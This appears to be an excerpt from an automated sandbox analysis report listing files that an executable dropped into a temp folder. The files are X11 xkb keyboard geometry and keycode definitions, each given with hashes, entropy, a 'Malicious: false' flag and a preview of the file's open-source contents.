"LEDS" { cornerRadius= 0, { [ 76 ,20 ] } };. shape "LED" { cornerRadius= 0, { [ 1, 3 ] } };. solid "LedPanel"

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	40560
Entropy (8bit):	5.097655995920895
Encrypted:	false
SSDEEP:	768:qgHjqsKHkGTUZ3hGbJKHwGysK/QGM6R5FVRdJr9TUnCsMIjKHpGK3WDbvD6BTd:qgHOHkGU3hG4HwGq/QGM6RLVRdJr9IC5
MD5:	3D881DE9E9417766B03499B9F33214CA
SHA1:	864075CC13BD953A6C951567B3579E7839CCC394
SHA-256:	0D03FFEFC0D9613CC69EFA3DB126C4CE3E35F25E909FD024117B6B4060EADB00
SHA-512:	BDB6FD7D12FC87F8A261EC04346F08958AA1D2DD65425CA4C1C7ADE0FBFD7EABD7FF646F037F64273C62CB8CC847674C23D11FEF8A3BEC6E23E9B1C899A884B6
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\sanwa

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5878
Entropy (8bit):	5.053712879972843
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLB6pQ5XBPbQCqpXCkXbLUv0o6Kbfpw2NGlYtz:8YQHHgrThOgmIzpfpwaUGz
MD5:	9DBC1070AE2CD4A7173B219A7FCE5B82
SHA1:	3948A10A0FFB2EF31788483804BB7309DB869365
SHA-256:	E8A2E1347479A910D2DA18AA09A53E992802106F415D349F40E691D0D32DE7B2
SHA-512:	C9CE8D4103FA3E48763105ECBDF9B3E5B4C96CA9DE01AEBAF6D4230FD6F1A68404830139A8008220357D64535D37B8926A44E40B546780CED8F6A5C2A4FD256E
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\sgi_vndr\O2

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15323
Entropy (8bit):	5.207414995415103
Encrypted:	false
SSDEEP:	192:Hx1lH+RqtQEQ1iADm1TSh6d/nk/2N9ZqWN6RHNCsW0FjVyN:blmEQ1i+m12KY2N/tN6REtOyN
MD5:	C878754D97218616B4F1B15C9BA4F153
SHA1:	77AB0F680BF55BF79564A0468DC8CF786FA216EF
SHA-256:	AFEB24D94DBD5190DAC1381F3B85CE1CC0A997E19EDA0BB58A0605FE38CAA29E
SHA-512:	942282EC5D3CCEC62A1D989623A43AE6477234AC0AB8ECD4B4E34DCE97EAD45D310EE9A11CA5140B82F31D39B55025A312D6BBD05F9FDDBCF18EB47552A7C5A3
Malicious:	false
Preview:	//.// Copyright (c) 1996 by Silicon Graphics Computer Systems, Inc..//.// Permission to use, copy, modify, and distribute this.// software and its documentation for any purpose and without.// fee is hereby granted, provided that the above copyright.// notice appear in all copies and that both that copyright.// notice and this permission notice appear in supporting.// documentation, and that the name of Silicon Graphics not be .// used in advertising or publicity pertaining to distribution .// of the software without specific prior written permission..// Silicon Graphics makes no representation about the suitability .// of this software for any purpose. It is provided "as is".// without any express or implied warranty..// .// SILICON GRAPHICS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS .// SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY .// AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL SILICON.// GRAPHICS BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL .//

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\sgi_vndr\indigo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10401
Entropy (8bit):	5.260497636848356
Encrypted:	false
SSDEEP:	192:Hx1lH+RBa9Q1iGNajBSh6d/nk/2N9ZqWS:blWKQ1i28EKY2N/tS
MD5:	BFDA08C04416E29A5B6D9C06CD9AB384
SHA1:	07986DC3C5FA1EFDDB27F6587F41E33C52185388
SHA-256:	2842902A07ADAB76A7430462DAEC6442E405F2DBB76B3D1BEFF1FDC58317420B
SHA-512:	30654DD4E7C001AB527AC9B773F07C25234D490908183DBCA422A5EC1DA3300D0723E3C97D1C1BFA8D425DC3A3C8F166887EEEC5AB9459DB6B31E4BFEBBF1F77
Malicious:	false
Preview:	//.// Copyright (c) 1996 by Silicon Graphics Computer Systems, Inc..//.// Permission to use, copy, modify, and distribute this.// software and its documentation for any purpose and without.// fee is hereby granted, provided that the above copyright.// notice appear in all copies and that both that copyright.// notice and this permission notice appear in supporting.// documentation, and that the name of Silicon Graphics not be .// used in advertising or publicity pertaining to distribution .// of the software without specific prior written permission..// Silicon Graphics makes no representation about the suitability .// of this software for any purpose. It is provided "as is".// without any express or implied warranty..// .// SILICON GRAPHICS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS .// SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY .// AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL SILICON.// GRAPHICS BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL .//

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\sgi_vndr\indy

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14976
Entropy (8bit):	5.213610154246723
Encrypted:	false
SSDEEP:	192:Hx1lH+RBa9Q1iGNajTSh6d/nk/2N9ZqWN6RHNCsW0FjVyN:blWKQ1i282KY2N/tN6REtOyN
MD5:	37996C1E3D4A7DAA0C6D2294998DA85E
SHA1:	12A0BB08F899C9907E399943605FEDE616ED7AEB
SHA-256:	F146CD089136F7765DA7DCD74820DEC46CA5CE468A64BE29898C2D7B191993CB
SHA-512:	5174CC63B5D42B452DFF995A00364D62D52F35CD5CF38D93A3F36E947E2510814D531C1FDA9CD6F3DC34B94C11E61AF1EF26DE14CD585657FEF70E286D250B9E
Malicious:	false
Preview:	//.// Copyright (c) 1996 by Silicon Graphics Computer Systems, Inc..//.// Permission to use, copy, modify, and distribute this.// software and its documentation for any purpose and without.// fee is hereby granted, provided that the above copyright.// notice appear in all copies and that both that copyright.// notice and this permission notice appear in supporting.// documentation, and that the name of Silicon Graphics not be .// used in advertising or publicity pertaining to distribution .// of the software without specific prior written permission..// Silicon Graphics makes no representation about the suitability .// of this software for any purpose. It is provided "as is".// without any express or implied warranty..// .// SILICON GRAPHICS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS .// SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY .// AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL SILICON.// GRAPHICS BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL .//

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\sony

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4961
Entropy (8bit):	5.229802477890308
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLrSwRTTnb6ANgCrQezbjw/Q87kk2ZvAn29OCoBzgFuVRzBPQ8ty:8YQHHgrTfSKd2G+YqDgFclI
MD5:	5076C862CC6F5E33F0DD4110F598AD96
SHA1:	370C70863956E84B7FB31DD8B09F2234598BBDF4
SHA-256:	260BED9D9D3E495828F91BD47426CCE2AA4A42A7655570DEEA3591578F169F3A
SHA-512:	61936429A9CAF65953C1CF16230C9B000CCDDF45DF31D1753DCD43FD5E745A489225CAE1ECD8E73BC265B89D9F7837990D8666E13996A5A66A438E3D14CB1B2F
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\sun

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19823
Entropy (8bit):	5.184016309907583
Encrypted:	false
SSDEEP:	384:P2YGgrTwhpY7CkJ5vYVr2NikJVY022NIkJMhcD7CkJC:AgHwhpqCk7vYVrGikjY02GIkOhcvCkk
MD5:	85DC4BA93647CE75328411A4F5FB0F26
SHA1:	A504692E5FC442C65D30A81922B4685EA445B6C9
SHA-256:	25D4F0D4425ED26ED62F7F6D8D8CC054BD759B7F25EB7C2B0AAC2AE32AE0D622
SHA-512:	7DE6F83691B88FC182CB0FD361489E3C1C7629B1ECB89F2EA17E4C57D713924EDB5DEFAF4548CD45B1DAAAA50330781775C1B91B20F68FB089DFE54C2FD1FE69
Malicious:	false
Preview:	// Copyright (c) 2010, 2012, Oracle and/or its affiliates. All rights reserved..//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\thinkpad

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12135
Entropy (8bit):	5.079626484808668
Encrypted:	false
SSDEEP:	192:hd0wSy5pcXqAvDqSQkHNqRhQIVRLin/1kvIMzwxtw48z5:AByqiVRfvIMZz5
MD5:	F59A51183C27B4BACE2267AB849BBA91
SHA1:	99A408199E890998C97BBB66B338C39C380E458A
SHA-256:	BC87C1CDBE1DCAEB46B7E9FB862124DE6B833FA15DA0A17A4259676593285BD6
SHA-512:	743806DBDCFB374AA1855D3A596EC0A89242D254C67138D95E38783CD2AD2FE34E83147CD86553D1220532F172E1028C04FCD1DFB246190E3A6315D5263D48C2
Malicious:	false
Preview:	// -- indent-tabs-mode: nil --..// Created by Alexander Pohoyda <alexander.pohoyda@gmx.net>.// Geometry specification for IBM ThinkPad keyboard..// Compatible Models: THINKPAD 560Z 2640-90U, THINKPAD 560Z 2640-91U,.// THINKPAD 560Z 2640-B0U, THINKPAD 560Z 2640-B1U, THINKPAD 560Z 2640-RR3,.// THINKPAD 600 2645-31U, THINKPAD 600 2645-35U, THINKPAD 600 2645-41U,.// THINKPAD 600 2645-42U, THINKPAD 600 2645-45U, THINKPAD 600 2645-48U,.// THINKPAD 600 2645-51U, THINKPAD 600 2645-85U, THINKPAD 600 2645-A1U,.// THINKPAD 600 2645-RR1, THINKPAD 600 2645-RR2, THINKPAD 600E 2645-3AU,.// THINKPAD 600E 2645-4AU, THINKPAD 600E 2645-4BU, THINKPAD 600E 2645-55U,.// THINKPAD 600E 2645-5AU, THINKPAD 600E 2645-5BU, THINKPAD 600E 2645-5JU,.// THINKPAD 600E 2645-8AO, THINKPAD 600E 2645-8AU, THINKPAD 600E 2645-8BU,.// THINKPAD 600E 2645-AAU, THINKPAD 600E 2645-RRB, THINKPAD 600E 2645-RRD,.// THINKPAD 600E 2645-RRF, THINKPAD 600E 2645-RRS, THINKPAD A22E 2645-45U..xkb_geometry "

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\typematrix

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	21188
Entropy (8bit):	4.42949056815869
Encrypted:	false
SSDEEP:	192:gxx2oZUUUFeY2rQbJHfDL/+dKyhvwWOK+Asih+F:g7RbYVJ/DLW7h4zF
MD5:	5796ED8B885EF3DEEC79205216A9D5C3
SHA1:	80F00F78BCA183F4A940B8C5B8554EA74DADF130
SHA-256:	12B99EE4A0CE181AF768D23D464ED48F4927ACBEA778980543856CC9B1F89877
SHA-512:	8BB82BF189A2559CBA9F1D76482884197C6BF5E418230876A3074390A527F9DA6E95F205744C91DF5C7B89BFB635C53B4E1430BB6C737681972ACD7D3A7BA0EC
Malicious:	false
Preview:	// -- indent-tabs-mode: nil --..// Created by Fr.d.ric Boiteux <fboiteux (at) free (dot) fr>.// and Gildas Cotomale <gildas (dot) cotomale (at) gmail (dot) com>..// Note : the special/multimedia keys (Calc, WWW, Desktop.) have a keycode.// <I[XX]>, found in definition file /usr/share/X11/xkb/keycodes/evdev..// Fn = <I120>;.// Calc = <I148>;.// WWW = <I158>;.// CycleWindows = <I162>;.// Mail = <I163>;.// PlayPause = <I172>;.// Desktop = <I243>;...xkb_geometry "tm2020" {. description = "TypeMatrix EZ-Reach 2020";.. // Keyboard total size :. width = 308;. height = 152;. // Background./.foreground colours. baseColor = "white";. labelColor = "black";.. // Key shapes: base key = 16.mm each side. shape "NORM" { cornerRadius=1, { [16, 16] }, { [1, 1], [15, 15] }};. shape "ALPL" { cornerRadius=1, { [24.25, 16] }, { [1, 1], [23, 15] }};. shape "DHAL" { cornerRadius=1, { [24.25, 32.5] }, { [1,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\geometry\winbook

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	4.988161466081464
Encrypted:	false
SSDEEP:	48:CKMv7i687N6X863h6/bGce616V6X6ogXojlvq0RIvAGnljq2zd+R3PDRvZjSh9PG:R+i687N6X86x6Ve616V6X6ogXoY0S9lg
MD5:	634E8573025B6D1B48DDC4DF3EF12F41
SHA1:	78D03F777EA2F4277D1CD6CDE4E38BCB834A51C7
SHA-256:	F96E59F44427BE04F8BAA9CF8860FCDE3D101410BB61D95F1D37DF998D68DB3B
SHA-512:	8C970B2413C5A9A1CEDB203E3F013FF2C1FC814B70998989850BD10D13A8690AC0F2194FFBCB4996421A5E8546EDFE394E8D1DE9E4715EDEE12DEBDD4F779C6F
Malicious:	false
Preview:	default xkb_geometry "XP5" {.. description= "WinBook XP5";. width= 281;. height= 180;.. shape.cornerRadius= 1;.. shape "NORM" { ..{ [17,17] },..{ [ 2, 1], [ 15, 15 ] }. };. shape "FKEY" {..{ [ 15, 10 ] },..{ [ 1, 0 ], [ 14, 9.5 ] }. };. shape "ONE" {..{ [ 28, 17 ] },..{ [ 11, 0 ], [ 28, 17 ] },..{ [ 13, 1 ], [ 26, 15 ] }. };. shape "WIDE" {.// backspace, caps lock, ctrl alt ?..{ [ 24.5, 17 ] },..{ [ 2, 1 ], [ 22.5, 15 ] }. };. shape "WIDR" { // backslash, left shift..{ [ 35, 17 ] },..{ [ 2, 1 ], [ 33, 15 ] }. };. shape "RTRN" {..{ [ 45, 17 ] },..{ [ 2, 1 ], [ 43, 15 ] }. };. shape "SPCE" {..{ [ 90, 17 ] },..{ [ 2, 1 ], [ 88, 15 ] }. };. shape "STIK" {..cornerRadius= 4,..{ [ 8, 8 ] }. };. shape "BTN" {..{ [ 31, 6 ] }. };.. section.left= 2;. row.left= 1;. key.shape= "NORM";. key.gap= 0.5;.. key.color= "grey10";. labelColor= "white";. baseColor= "grey20";.. section "Whole" {..top= 10;.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\aliases

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2176
Entropy (8bit):	4.338433884832246
Encrypted:	false
SSDEEP:	24:/UNW0jlL/fmXW0W5Aa+d0v02dq7L/PmXojaW5Aa+d0v0CPjlC1/fmX6W5Aa+d0vp:/UNdlj+XNjuX0bl6+Xj
MD5:	E01F2CFD7B4E39AF4AC38EEAC76146A4
SHA1:	20C6EF1E08A73F32AF68BFCBB22F0777B0E9FF1F
SHA-256:	85F774170FC1526E8A909A1E2952423DAE3891B721ABC293A27DC450818DCC6D
SHA-512:	474F136666F26B9AC511371A723BC82872E10EB97C852141BC9B0739A38A6608D3F0F32F9D3F87D590A44174FA043F938404EE4B7898508BFB1973D44D28625F
Malicious:	false
Preview:	.// keycode aliases for phonetic keyboard maps..default.xkb_keycodes "qwerty" {.. alias <LatQ> = <AD01>;. alias <LatW> = <AD02>;. alias <LatE> = <AD03>;. alias <LatR> = <AD04>;. alias <LatT> = <AD05>;. alias <LatY> = <AD06>;. alias <LatU> = <AD07>;. alias <LatI> = <AD08>;. alias <LatO> = <AD09>;. alias <LatP> = <AD10>;.. alias <LatA> = <AC01>;. alias <LatS> = <AC02>;. alias <LatD> = <AC03>;. alias <LatF> = <AC04>;. alias <LatG> = <AC05>;. alias <LatH> = <AC06>;. alias <LatJ> = <AC07>;. alias <LatK> = <AC08>;. alias <LatL> = <AC09>;.. alias <LatZ> = <AB01>;. alias <LatX> = <AB02>;. alias <LatC> = <AB03>;. alias <LatV> = <AB04>;. alias <LatB> = <AB05>;. alias <LatN> = <AB06>;. alias <LatM> = <AB07>;.};..xkb_keycodes "azerty" {.. alias <LatA> = <AD01>;. alias <LatZ> = <AD02>;. alias <LatE> = <AD03>;. alias <LatR> = <AD04>;. alias <LatT> = <AD05>;. alias <LatY> = <AD06>;. alias <LatU> = <AD07>;. alias <LatI> = <AD08>;. a

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\amiga

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3401
Entropy (8bit):	3.9357802875315993
Encrypted:	false
SSDEEP:	96:bJfrjU82BtXbFqidcRSGxRBRaxJfrjU82BtXbFqTMcRSGxRBRar:V8/T+q8/TiW
MD5:	A5D14A62CE9E2924F39D62B9B7F1EC23
SHA1:	F6707B3D01E89B8C16CD56EA764EBD029D0F067C
SHA-256:	D8469BC1C9375625B62C93847E6E1505598D825BB29D176A5A5F028F0E6A45D0
SHA-512:	8E3AA6BC29C284CEAE4C5224CF80D68484E6DABBF1D3A075302933C5F523DDA21E9DD237CB2B989F093B025039D817229D88ABF3ADFD33C8E8C2BF7A23250E86
Malicious:	false
Preview:	default xkb_keycodes "usa1" {.. minimum= 8;. maximum= 255;.. <ESC> = 77;. <FK01> = 88;. <FK02> = 89;. <FK03> = 90;. <FK04> = 91;. <FK05> = 92;. <FK06> = 93;. <FK07> = 94;. <FK08> = 95;. <FK09> = 96;. <FK10> = 97;.. <TLDE> = 8;. <AE01> = 9;. <AE02> = 10;. <AE03> = 11;. <AE04> = 12;. <AE05> = 13;. <AE06> = 14;. <AE07> = 15;. <AE08> = 16;. <AE09> = 17;. <AE10> = 18;. <AE11> = 19;. <AE12> = 20;. <BKSL> = 21;. <BKSP> = 73;.. <TAB> = 74;. <AD01> = 24;. <AD02> = 25;. <AD03> = 26;. <AD04> = 27;. <AD05> = 28;. <AD06> = 29;. <AD07> = 30;. <AD08> = 31;. <AD09> = 32;. <AD10> = 33;. <AD11> = 34;. <AD12> = 35;. <RTRN> = 76;.. <LCTL> = 107;. <CAPS> = 106;. <AC01> = 40;. <AC02> = 41;. <AC03> = 42;. <AC04> = 43;. <AC05> = 44;. <AC06> = 45;. <AC07> = 46;. <AC08> = 47;. <AC09> = 48;. <AC10> = 49;. <AC11> = 50;.. <LFSH> = 104;. <AB01>

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\ataritt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1839
Entropy (8bit):	3.9494607183861232
Encrypted:	false
SSDEEP:	48:CMW3k+9kcSQ7vYSFuI6B7k58H4vvOjQk5qwyr2un:dW35m0fF+B4DHvk5qwC2un
MD5:	080091672369FBD14F214C430DABF884
SHA1:	672BDA4D111EC7B40A19B00F6019140D67681537
SHA-256:	8D39211D4948FE77C483D45F953EA983C0E11C120ABABE634FDC696300106FA2
SHA-512:	72E1946DFCB1941D89904FC1AAF49491A4C4EE96A0CDC20DC95618DBAE6A2AB512D5F8C94EEAAF622379F42FFD89F1CEA08B8EF4848CABCE315CC2B892242C20
Malicious:	false
Preview:	default xkb_keycodes "us" {.. minimum= 8;. maximum= 255;.. <ESC> = 9;. <AE01> = 10;. <AE02> = 11;. <AE03> = 12;. <AE04> = 13;. <AE05> = 14;. <AE06> = 15;. <AE07> = 16;. <AE08> = 17;. <AE09> = 18;. <AE10> = 19;. <AE11> = 20;. <AE12> = 21;. <TLDE> = 49;. <BKSP> = 22;.. <TAB> = 23;. <AD01> = 24;. <AD02> = 25;. <AD03> = 26;. <AD04> = 27;. <AD05> = 28;. <AD06> = 29;. <AD07> = 30;. <AD08> = 31;. <AD09> = 32;. <AD10> = 33;. <AD11> = 34;. <AD12> = 35;. <RTRN> = 36;. <DELE> = 91;.. <LCTL> = 37;. <AC01> = 38;. <AC02> = 39;. <AC03> = 40;. <AC04> = 41;. <AC05> = 42;. <AC06> = 43;. <AC07> = 44;. <AC08> = 45;. <AC09> = 46;. <AC10> = 47;. <AC11> = 48;. <BKSL> = 51;.. <LFSH> = 50;. <AB01> = 52;. <AB02> = 53;. <AB03> = 54;. <AB04> = 55;. <AB05> = 56;. <AB06> = 57;. <AB07> = 58;. <AB08> = 5

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\digital_vndr\lk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6133
Entropy (8bit):	5.344101090640319
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvbgM3MepBK0P11NhqIoMGazLcp/7F1rSzyFTFuh76AKoAhLuKiz:zYQHbYrCjgIRrXL9AD622rVeVW
MD5:	D338996ACF8F96FE1432DC83AB88515A
SHA1:	E412F938E42B97621B54284296D46AF50A8EF5CD
SHA-256:	1F5937D4C1735E2F87B1FC722378F29DEEFFC4CC9767D7C9E42D2F707E8BF79B
SHA-512:	2F39C5A8DE7F4770E68E9D218F45AC232827BC17C4724E4743B172A6403AC7C7EBE3A7FDA22D5C13A352B3AD3757DEED2E6B648E706D8C361D3D81F872C9B19F
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\digital_vndr\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6102
Entropy (8bit):	5.323926685895662
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvbBjU3MePZI4zXa/lTBwIfURZMgFXRvgMKCuQAmASW14niA7pHQ:zYQHbYrCjBjwRo/gA4Bvq92pFBo
MD5:	C47BA0A6BDEC691FA75CF44AF07D0DFD
SHA1:	350ABCB0582695315A8DC1954E5BE46E8AA58424
SHA-256:	3894EEE02955F0C3253D1CE1303035F8E5E342BE81660C2044215CEBE6D8E932
SHA-512:	E3367CF375E737EE256E014996B1157B04500E49B225C410863E60486FF60619426D4D1BE4B96D65B21461F7995F4997568D7EA67A467D013C172B071C79AF16
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\empty

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.381258969239636
Encrypted:	false
SSDEEP:	3:Ngno6OYwR2kHFwzefI1tIYFA8w:N4o6OYWVyefITlFAX
MD5:	F40094105A7F7F387C82002903BE840C
SHA1:	986B43B5E5E8C84C1F7DF815587AC49B376AD694
SHA-256:	69997F35044955D76A14361F4751A5ACA361D3EDCA6BA2007368EE7C7E8C024F
SHA-512:	D7E9BD4BC8457775BF5AB128F38BE3E9DB68191A5F7AE04DEAE239308F8963DC4620712AD725F6075C41BF2C74B7070B260D237E9C67096B1BE4865DFDAEAFF7
Malicious:	false
Preview:	default xkb_keycodes "empty" {. minimum= 8;. maximum= 255;.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\keycodes\evdev

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8656
Entropy (8bit):	4.964345131252177
Encrypted:	false
SSDEEP:	96:IYMYLAhmDVldXYpWOb83DkEUzsW2zzx+mQzZCIsh2hzYJ4v36d2+Jf+PE+sJFca/:IYMYy6kpNg+slzd+R1Peu8BJf3Jo6
MD5:	FD8A3B706FF741FB3F26B513E73F8B79
